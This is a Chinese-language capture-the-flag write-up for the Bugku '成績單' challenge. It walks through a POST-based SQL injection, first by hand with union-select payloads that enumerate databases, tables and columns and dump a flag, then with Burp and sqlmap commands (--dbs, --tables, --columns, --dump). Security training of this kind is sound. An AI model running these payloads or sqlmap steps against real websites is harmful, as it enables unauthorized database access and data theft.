用sqlmap跑post型注入


bugku-成績單 題目地址

手工注入:

①看到題目,分別提交1,2,3,出現不同的成績單,可見參數我們是可以控制,通過POST的方式。

②我們嘗試輸入1 and 1=1#1 and 1=2#發現不報錯,應該不是數字型注入。我們輸入1',報錯,這個數字(id)被'保護起來了。猜測SQL語句:~~~~where id ='$id';我們繼續輸入1' and 1=1#;和1' and 1=2#,發現前邊沒錯,后邊的錯了,到了這里 注入點就找到了。

順便獲取有幾個顯示位。

到5報錯,說明有四個可能回顯的位置。

union select 1,2,3,4#

四個位置全部可以回顯查詢的內容。

③查找所有的數據庫,輸入-1' union select 1,2,3,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#

獲得了所有數據庫,不過肯定是普通用戶,還是只有查看的權限。查詢下user()

④查找skctf_flag下的表。-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

⑤查看fl4g下的列名。-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

⑥ 查看skctf_flag下的內容。-1' union select 1,2,3,skctf_flag from skctf_flag.fl4g#

SQLMAP跑:

①首先,開burp截包。

②輸入1,提交。

可以看見,burp已經把id獲取到了

copy to file,保存為txt文件。


把這個txt放置到sqlmap的目錄下邊。

④打開sqlmap,shift+鼠標右鍵打開命令行。python sqlmap.py -r a.txt (a.txt如果沒有放到sqlmap目錄就用絕對路徑)。

可以看到,存在的注入類型(union查詢和基於時間的盲注)和payload和數據庫類型和版本都給你報出來了。
然后剩下的參數就基本和跑get型注入差不多了。

⑤獲取所有數據庫。python sqlmap.py -r a.txt --dbs

⑥獲取skctf_flag下所有的表。python sqlmap.py -r a.txt -D skctf_flag --tables

⑦獲取fl4g下所有的列。python sqlmap.py -r a.txt -D skctf_flag -T fl4g --columns

⑧獲取列skctf_flag下的內容。python sqlmap.py -r a.txt -D skctf_flag -T fl4g -C "skctf_flag" --dump


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM